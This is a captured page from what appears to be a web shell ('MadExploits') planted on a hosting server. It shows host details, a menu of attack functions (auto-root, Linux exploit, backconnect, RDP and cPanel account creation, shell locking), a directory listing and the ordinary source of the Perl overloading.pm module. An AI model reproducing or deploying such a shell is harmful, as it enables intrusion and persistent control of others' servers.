Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
[ HOME SHELL ]
Name
Size
Permission
Action
Attribute
[ DIR ]
drwxr-xr-x
B
[ DIR ]
drwxr-xr-x
CPAN
[ DIR ]
drwxr-xr-x
Class
[ DIR ]
drwxr-xr-x
Compress
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
DBM_Filter
[ DIR ]
drwxr-xr-x
Devel
[ DIR ]
drwxr-xr-x
ExtUtils
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Getopt
[ DIR ]
drwxr-xr-x
I18N
[ DIR ]
drwxr-xr-x
IO
[ DIR ]
drwxr-xr-x
IPC
[ DIR ]
drwxr-xr-x
Locale
[ DIR ]
drwxr-xr-x
Math
[ DIR ]
drwxr-xr-x
Memoize
[ DIR ]
drwxr-xr-x
Module
[ DIR ]
drwxr-xr-x
Net
[ DIR ]
drwxr-xr-x
Pod
[ DIR ]
drwxr-xr-x
Search
[ DIR ]
drwxr-xr-x
Term
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
Thread
[ DIR ]
drwxr-xr-x
Tie
[ DIR ]
drwxr-xr-x
Time
[ DIR ]
drwxr-xr-x
URI
[ DIR ]
drwxr-xr-x
Unicode
[ DIR ]
drwxr-xr-x
User
[ DIR ]
drwxr-xr-x
encoding
[ DIR ]
drwxr-xr-x
overload
[ DIR ]
drwxr-xr-x
pod
[ DIR ]
drwxr-xr-x
unicore
[ DIR ]
drwxr-xr-x
vendor_perl
[ DIR ]
drwxr-xr-x
warnings
[ DIR ]
drwxr-xr-x
AnyDBM_File.pm
2.56
KB
-rw-r--r--
AutoLoader.pm
15.43
KB
-rw-r--r--
AutoSplit.pm
19.18
KB
-rw-r--r--
Benchmark.pm
30.3
KB
-rw-r--r--
CORE.pod
3.11
KB
-rw-r--r--
DB.pm
18.48
KB
-rw-r--r--
DBM_Filter.pm
14.05
KB
-rw-r--r--
DirHandle.pm
1.52
KB
-rw-r--r--
Dumpvalue.pm
17.14
KB
-rw-r--r--
English.pm
4.65
KB
-rw-r--r--
FileCache.pm
5.44
KB
-rw-r--r--
FileHandle.pm
6.63
KB
-rw-r--r--
FindBin.pm
4.45
KB
-rw-r--r--
Internals.pod
2.52
KB
-rw-r--r--
Memoize.pm
35.34
KB
-rw-r--r--
NEXT.pm
18.4
KB
-rw-r--r--
PerlIO.pm
10.21
KB
-rw-r--r--
Safe.pm
24.49
KB
-rw-r--r--
SelectSaver.pm
1.05
KB
-rw-r--r--
SelfLoader.pm
17.28
KB
-rw-r--r--
Symbol.pm
4.69
KB
-rw-r--r--
Test.pm
29.35
KB
-rw-r--r--
Thread.pm
8.09
KB
-rw-r--r--
UNIVERSAL.pm
6.44
KB
-rw-r--r--
URI.pm
33.97
KB
-rw-r--r--
XSLoader.pm
11
KB
-rw-r--r--
_charnames.pm
32.39
KB
-rw-r--r--
autouse.pm
4.14
KB
-rw-r--r--
base.pm
10.72
KB
-rw-r--r--
blib.pm
2.04
KB
-rw-r--r--
bytes.pm
3.67
KB
-rw-r--r--
bytes_heavy.pl
758
B
-rw-r--r--
charnames.pm
20.38
KB
-rw-r--r--
deprecate.pm
3.01
KB
-rw-r--r--
diagnostics.pm
18.59
KB
-rw-r--r--
dumpvar.pl
15.19
KB
-rw-r--r--
feature.pm
16.68
KB
-rw-r--r--
fields.pm
9.27
KB
-rw-r--r--
filetest.pm
3.91
KB
-rw-r--r--
if.pm
3.26
KB
-rw-r--r--
integer.pm
3.18
KB
-rw-r--r--
less.pm
3.13
KB
-rw-r--r--
locale.pm
4.74
KB
-rw-r--r--
meta_notation.pm
2.07
KB
-rw-r--r--
open.pm
7.83
KB
-rw-r--r--
overload.pm
52.06
KB
-rw-r--r--
overloading.pm
1.77
KB
-rw-r--r--
perl5db.pl
309
KB
-rw-r--r--
sigtrap.pm
7.43
KB
-rw-r--r--
sort.pm
5.94
KB
-rw-r--r--
strict.pm
4.63
KB
-rw-r--r--
subs.pm
848
B
-rw-r--r--
utf8.pm
8.9
KB
-rw-r--r--
utf8_heavy.pl
30.87
KB
-rw-r--r--
vars.pm
2.36
KB
-rw-r--r--
vmsish.pm
4.21
KB
-rw-r--r--
warnings.pm
43.71
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : overloading.pm
package overloading; use warnings; our $VERSION = '0.02'; my $HINT_NO_AMAGIC = 0x01000000; # see perl.h require 5.010001; sub _ops_to_nums { require overload::numbers; map { exists $overload::numbers::names{"($_"} ? $overload::numbers::names{"($_"} : do { require Carp; Carp::croak("'$_' is not a valid overload") } } @_; } sub import { my ( $class, @ops ) = @_; if ( @ops ) { if ( $^H{overloading} ) { vec($^H{overloading} , $_, 1) = 0 for _ops_to_nums(@ops); } if ( $^H{overloading} !~ /[^\0]/ ) { delete $^H{overloading}; $^H &= ~$HINT_NO_AMAGIC; } } else { delete $^H{overloading}; $^H &= ~$HINT_NO_AMAGIC; } } sub unimport { my ( $class, @ops ) = @_; if ( exists $^H{overloading} or not $^H & $HINT_NO_AMAGIC ) { if ( @ops ) { vec($^H{overloading} ||= '', $_, 1) = 1 for _ops_to_nums(@ops); } else { delete $^H{overloading}; } } $^H |= $HINT_NO_AMAGIC; } 1; __END__ =head1 NAME overloading - perl pragma to lexically control overloading =head1 SYNOPSIS { no overloading; my $str = "$object"; # doesn't call stringification overload } # it's lexical, so this stringifies: warn "$object"; # it can be enabled per op no overloading qw(""); warn "$object"; # and also reenabled use overloading; =head1 DESCRIPTION This pragma allows you to lexically disable or enable overloading. =over 6 =item C<no overloading> Disables overloading entirely in the current lexical scope. =item C<no overloading @ops> Disables only specific overloads in the current lexical scope. =item C<use overloading> Reenables overloading in the current lexical scope. =item C<use overloading @ops> Reenables overloading only for specific ops in the current lexical scope. =back =cut
Close